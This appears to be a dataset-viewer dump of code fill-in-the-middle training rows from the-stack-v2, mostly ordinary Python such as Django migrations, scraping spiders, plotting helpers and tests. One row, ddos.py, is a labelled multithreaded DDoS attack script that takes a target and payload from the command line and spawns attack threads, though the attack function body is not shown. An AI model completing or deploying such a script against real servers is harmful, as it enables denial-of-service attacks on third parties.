article_title_xpath="//h1[@class='title']/text()",
... | code_fim | hard | {
"lang": "python",
"repo": "0x24bin/oh-my-rss",
"path": "/feed/spiders/week/fexweekly_spider.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> def __init__(self):
Spider.__init__(self,
start_urls=[
'http://fex.baidu.com/weekly/',
],
index_xpath="//ul[@class='post-list']//a/@href",
article_title_xpath="//h1[@clas... | code_fim | hard | {
"lang": "python",
"repo": "0x24bin/oh-my-rss",
"path": "/feed/spiders/week/fexweekly_spider.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: YaleDHLab/lab-workshops path: /first-steps-with-python/helpers.py
import matplotlib.pyplot as plt
from collections import Counter
<|fim_suffix|> if not isinstance(counter, Counter):
print('Please provide a collections.Counter object')
return
with plt.style.context('fivethirtyeight'):
... | code_fim | easy | {
"lang": "python",
"repo": "YaleDHLab/lab-workshops",
"path": "/first-steps-with-python/helpers.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> if not isinstance(counter, Counter):
print('Please provide a collections.Counter object')
return
with plt.style.context('fivethirtyeight'):
words, counts = zip(*counter.most_common())
plt.figure(figsize=(20,10))
plt.bar(words[:n], counts[:n])
plt.xticks(rotation=90)
plt.sho... | code_fim | easy | {
"lang": "python",
"repo": "YaleDHLab/lab-workshops",
"path": "/first-steps-with-python/helpers.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: yoitsdave/mit-tab path: /mittab/apps/tab/templatetags/tags.py
from django import template
from django.core.urlresolvers import reverse
<|fim_suffix|>@register.simple_tag
def active(request, pattern):
try:
request.path
except:
import pdb; pdb.set_trace()
if pattern == ... | code_fim | easy | {
"lang": "python",
"repo": "yoitsdave/mit-tab",
"path": "/mittab/apps/tab/templatetags/tags.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> try:
request.path
except:
import pdb; pdb.set_trace()
if pattern == request.path:
return 'active'
return ''<|fim_prefix|># repo: yoitsdave/mit-tab path: /mittab/apps/tab/templatetags/tags.py
from django import template
from django.core.urlresolvers import reverse
... | code_fim | easy | {
"lang": "python",
"repo": "yoitsdave/mit-tab",
"path": "/mittab/apps/tab/templatetags/tags.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: schoolio-co/schoolio_site path: /pinax/messages/migrations/0002_auto_20190925_2111.py
# Generated by Django 2.2.1 on 2019-09-25 21:11
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
<|fim_suffix|... | code_fim | medium | {
"lang": "python",
"repo": "schoolio-co/schoolio_site",
"path": "/pinax/messages/migrations/0002_auto_20190925_2111.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> dependencies = [
('pinax_messages', '0001_initial'),
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.AddField(
model_name='userthread',
name='user',
field=models.ForeignKey(on_delete=django.db.m... | code_fim | medium | {
"lang": "python",
"repo": "schoolio-co/schoolio_site",
"path": "/pinax/messages/migrations/0002_auto_20190925_2111.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Yipit/pyeqs path: /tests/functional/test_score.py
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from sure import scenario
from pyeqs import QuerySet
from pyeqs.dsl import ScriptScore, Exists
from tests.helpers import prepare_data, cleanup_data, add_document
@scenario(prepare... | code_fim | hard | {
"lang": "python",
"repo": "Yipit/pyeqs",
"path": "/tests/functional/test_score.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> """
Search with custom scoring and params
"""
# When create a query block
t = QuerySet("localhost", index="foo")
# And there are records
add_document("foo", {"bar": 1, "baz": 4})
add_document("foo", {"bar": 1})
# And I add scoring with params
score = ScriptScore("... | code_fim | hard | {
"lang": "python",
"repo": "Yipit/pyeqs",
"path": "/tests/functional/test_score.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> operations = [
migrations.AddField(
model_name='trigger',
name='deadline_dt',
field=models.DateTimeField(blank=True, default=None, help_text='Sometimes you want a deadline to use in your logic. Set it here', null=True),
),
migrations.AlterFie... | code_fim | medium | {
"lang": "python",
"repo": "kgdunn/django-peer-review-system",
"path": "/interactive/migrations/0027_auto_20170905_1351.py",
"mode": "spm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: kgdunn/django-peer-review-system path: /interactive/migrations/0027_auto_20170905_1351.py
# -*- coding: utf-8 -*-
# Generated by Django 1.11.1 on 2017-09-05 11:51
from __future__ import unicode_literals
from django.db import migrations, models
import django.utils.timezone
class Migration(migra... | code_fim | medium | {
"lang": "python",
"repo": "kgdunn/django-peer-review-system",
"path": "/interactive/migrations/0027_auto_20170905_1351.py",
"mode": "psm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> # defaults
self.__cfg.add_section('common')
self.__cfg.set('common', 'start_xmms2d', '0')
self.__cfg.add_section('ui')
self.__cfg.set('ui', 'show_cover_art', '1')
self.__cfg.set('ui', 'show_alternative_cover_art', '0')
self.__cfg.set('ui', 'combine_v... | code_fim | hard | {
"lang": "python",
"repo": "chewi/albumthing",
"path": "/AlbumThing/configuration.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: chewi/albumthing path: /AlbumThing/configuration.py
# Copyright (c) 2008 Sebastian Sareyko <smoon at nooms dot de>
# See COPYING file for details.
import ConfigParser
import os
import xmmsclient
from albumthing import AlbumThing
class Configuration:
def __init__(self):
self.__at =... | code_fim | hard | {
"lang": "python",
"repo": "chewi/albumthing",
"path": "/AlbumThing/configuration.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> if not force and not outdated:
# File doesn't need to be recompiled
return
command = "%s %s %s %s > %s" % (
getattr(settings, 'PIPELINE_BROWSERIFY_VARS', ''),
getattr(settings, 'PIPELINE_BROWSERIFY_BINARY', '/usr/bin/env browserify'),
... | code_fim | hard | {
"lang": "python",
"repo": "theonion/django-pipeline-browserify",
"path": "/pipeline_browserify/compiler.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: theonion/django-pipeline-browserify path: /pipeline_browserify/compiler.py
from __future__ import print_function
from pipeline.compilers import SubProcessCompiler
from os.path import dirname
from django.conf import settings
class BrowserifyCompiler(SubProcessCompiler):
<|fim_suffix|> if... | code_fim | hard | {
"lang": "python",
"repo": "theonion/django-pipeline-browserify",
"path": "/pipeline_browserify/compiler.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: interpretml/interpret-community path: /python/interpret_community/mimic/models/tree_model_utils.py
# ---------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# ---------------------------------------------------------
"""Defines utilit... | code_fim | hard | {
"lang": "python",
"repo": "interpretml/interpret-community",
"path": "/python/interpret_community/mimic/models/tree_model_utils.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> :param tree_model: A tree-based model.
:type tree_model: Tree-based model with scikit-learn predict and predict_proba API.
:param tree_explainer: Tree explainer for the tree-based model.
:type tree_explainer: TreeExplainer
:param shap_values_output: The type of the output from explain_... | code_fim | hard | {
"lang": "python",
"repo": "interpretml/interpret-community",
"path": "/python/interpret_community/mimic/models/tree_model_utils.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: gsdu8g9/ddos-31 path: /ddos.py
'''
Multithreading DDOS Attack Script
Author: Jinhua Wang
University of Toronto
License: MIT
'''
import socket, sys, os
from threading import Thread
print "][ Attacking " + sys.argv[1] + " ... ]["
print "injecting " + sys.argv[2];
print "concurrent threads "... | code_fim | hard | {
"lang": "python",
"repo": "gsdu8g9/ddos-31",
"path": "/ddos.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>for i in range(1, int(sys.argv[3])):
t = Thread(target=attack, args=[])
t.start()<|fim_prefix|># repo: gsdu8g9/ddos-31 path: /ddos.py
'''
Multithreading DDOS Attack Script
Author: Jinhua Wang
University of Toronto
License: MIT
'''
import socket, sys, os
from threading import Thread
print "][ Attac... | code_fim | hard | {
"lang": "python",
"repo": "gsdu8g9/ddos-31",
"path": "/ddos.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: wangjc1996/silo path: /benchmarks/results/make_graphs.py
#!/usr/bin/env python
import matplotlib
import pylab as plt
import numpy as np
<|fim_suffix|>if __name__ == '__main__':
files = sys.argv[1:]
for f in files:
execfile(f)
for (db, res) in zip(DBS[:-1], RESULTS):
#plt.plot(... | code_fim | medium | {
"lang": "python",
"repo": "wangjc1996/silo",
"path": "/benchmarks/results/make_graphs.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>if __name__ == '__main__':
files = sys.argv[1:]
for f in files:
execfile(f)
for (db, res) in zip(DBS[:-1], RESULTS):
#plt.plot(THREADS, np.log(np.array(res)))
#plt.plot(THREADS, res)
#plt.plot(THREADS, np.array(res)/np.array(THREADS)) # per-core
plt.plot(THREADS, np.log... | code_fim | medium | {
"lang": "python",
"repo": "wangjc1996/silo",
"path": "/benchmarks/results/make_graphs.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: tamarakatic/machine-learning-playground path: /other/xgboost.py
import pandas as pd
from sklearn.preprocessing import LabelEncoder
from sklearn.preprocessing import OneHotEncoder
from sklearn.model_selection import train_test_split
from sklearn.metrics import confusion_matrix
from sklearn.model_... | code_fim | hard | {
"lang": "python",
"repo": "tamarakatic/machine-learning-playground",
"path": "/other/xgboost.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>accuracies = cross_val_score(estimator=classifier, X=X_train, y=y_train, cv=10)
accuracies.mean()
accuracies.std()<|fim_prefix|># repo: tamarakatic/machine-learning-playground path: /other/xgboost.py
import pandas as pd
from sklearn.preprocessing import LabelEncoder
from sklearn.preprocessing import One... | code_fim | hard | {
"lang": "python",
"repo": "tamarakatic/machine-learning-playground",
"path": "/other/xgboost.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>df_powerplant = pd.read_csv('powerplant_data.csv')
df_powerplant.head(10)
#太棒了!现在我们将含有电厂数据的第二个数据框保存为 csv 文件,供下一段使用。
df_powerplant.to_csv('powerplant_data_edited.csv', index=False)
################################################################################################<|fim_prefix|># repo: li... | code_fim | hard | {
"lang": "python",
"repo": "lixianyu/DL",
"path": "/pandas_test.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>#除使用默认索引(从 0 递增 1 的整数)之外,还可以将一个或多个列指定为数据框的索引。
df = pd.read_csv('student_scores.csv', index_col='Name')
df = pd.read_csv('student_scores.csv', index_col=['Name', 'ID'])
df.head()
df_powerplant = pd.read_csv('powerplant_data.csv')
df_powerplant.head(10)
#太棒了!现在我们将含有电厂数据的第二个数据框保存为 csv 文件,供下一段使用。
df_... | code_fim | hard | {
"lang": "python",
"repo": "lixianyu/DL",
"path": "/pandas_test.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: lixianyu/DL path: /pandas_test.py
import pandas as pd
df = pd.read_csv('calls.csv')
# CSV 代表逗号分隔值,但这些值实际可用不同的字符、制表符、空格等分隔
df = pd.read_csv('student_scores.csv', sep=':')
<|fim_suffix|>#如果文件中不包括列标签,可以使用 header=None 防止数据的第一行被误当做列标签。
df = pd.read_csv('student_scores.csv', header=None)
... | code_fim | medium | {
"lang": "python",
"repo": "lixianyu/DL",
"path": "/pandas_test.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> def testAddAdgroupImageSegmentBindType(self):
"""Test AddAdgroupImageSegmentBindType"""
# FIXME: construct object with mandatory attributes with example values
# model = AddAdgroupImageSegmentBindType() # noqa: E501
pass
if __name__ == '__main__':
unittest.main()... | code_fim | medium | {
"lang": "python",
"repo": "baidu/baiduads-sdk",
"path": "/python/baiduads-sdk-auto/test/test_add_adgroup_image_segment_bind_type.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: baidu/baiduads-sdk path: /python/baiduads-sdk-auto/test/test_add_adgroup_image_segment_bind_type.py
"""
dev2 api schema
'dev2.baidu.com' api schema # noqa: E501
Generated by: https://openapi-generator.tech
"""
import sys
import unittest
import baiduads
from baiduads.adgroupimagesegm... | code_fim | medium | {
"lang": "python",
"repo": "baidu/baiduads-sdk",
"path": "/python/baiduads-sdk-auto/test/test_add_adgroup_image_segment_bind_type.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> pass
def tearDown(self):
pass
def testAddAdgroupImageSegmentBindType(self):
"""Test AddAdgroupImageSegmentBindType"""
# FIXME: construct object with mandatory attributes with example values
# model = AddAdgroupImageSegmentBindType() # noqa: E501
p... | code_fim | hard | {
"lang": "python",
"repo": "baidu/baiduads-sdk",
"path": "/python/baiduads-sdk-auto/test/test_add_adgroup_image_segment_bind_type.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> # This command-line parsing code is provided.
# Make a list of command line arguments, omitting the [0] element
# which is the script itself.
args = sys.argv[1:]
if not args:
print('usage: [--summaryfile] file [file ...]')
sys.exit(1)
# Notice the summary flag and remove it from args... | code_fim | hard | {
"lang": "python",
"repo": "MSBigData2019/Alba_Ordonez",
"path": "/INFMDI721/Lesson1/babynames.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: MSBigData2019/Alba_Ordonez path: /INFMDI721/Lesson1/babynames.py
#!/usr/bin/python
# Copyright 2010 Google Inc.
# Licensed under the Apache License, Version 2.0
# http://www.apache.org/licenses/LICENSE-2.0
# Google's Python Class
# http://code.google.com/edu/languages/google-python-class/
impor... | code_fim | hard | {
"lang": "python",
"repo": "MSBigData2019/Alba_Ordonez",
"path": "/INFMDI721/Lesson1/babynames.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> operations = [
migrations.AlterField(
model_name="servicepage",
name="blogs_section_title",
field=models.TextField(blank=True, default="Thinking"),
),
migrations.AlterField(
model_name="servicepage",
name="case_studies... | code_fim | hard | {
"lang": "python",
"repo": "torchbox/wagtail-torchbox",
"path": "/tbx/services/migrations/0011_auto_20190207_0233.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: torchbox/wagtail-torchbox path: /tbx/services/migrations/0011_auto_20190207_0233.py
# Generated by Django 2.1.5 on 2019-02-07 02:33
from django.db import migrations, models
class Migration(migrations.Migration):
<|fim_suffix|> operations = [
migrations.AlterField(
model_... | code_fim | hard | {
"lang": "python",
"repo": "torchbox/wagtail-torchbox",
"path": "/tbx/services/migrations/0011_auto_20190207_0233.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: maven8919/football-ech path: /leagues/migrations/0001_initial.py
# -*- coding: utf-8 -*-
# Generated by Django 1.9.5 on 2016-05-25 21:04
from __future__ import unicode_literals
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migr... | code_fim | hard | {
"lang": "python",
"repo": "maven8919/football-ech",
"path": "/leagues/migrations/0001_initial.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.